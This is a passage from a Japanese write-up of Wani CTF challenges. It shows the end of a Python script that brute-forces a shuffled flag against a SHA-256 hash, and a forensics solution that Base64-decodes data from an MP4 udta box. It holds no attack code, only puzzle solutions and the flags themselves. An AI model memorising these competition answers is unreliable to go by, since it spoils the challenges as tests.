        res += s[shuffle_list[order].index(i)]
    return res

for i in range(len(shuffle_list) - 1):
    res = yattemiru(i)
    if hashlib.sha256(res[:-1].encode()).hexdigest() == '19b0e576b3457edfd86be9087b5880b6d6fac8c40ebd3d1f57ca86130b230222':
        print(res)

実行するとフラグが得られた。

$ python3 chall.py
FLAG{shuffle64}d
FLAG{shuffle64}

[Forensics 123] Just_mp4 (484 solves)

✨✨✨ Enjoy wani CTF ! ✨✨✨

Writer : Mikka

添付ファイル: for-Just-mp4.zip

謎の動画が与えられる。

Header Reader MP4に投げると、udta になんかあった。これをBase64デコードするとフラグが得られた。

FLAG{H4v1n_fun_1nn1t}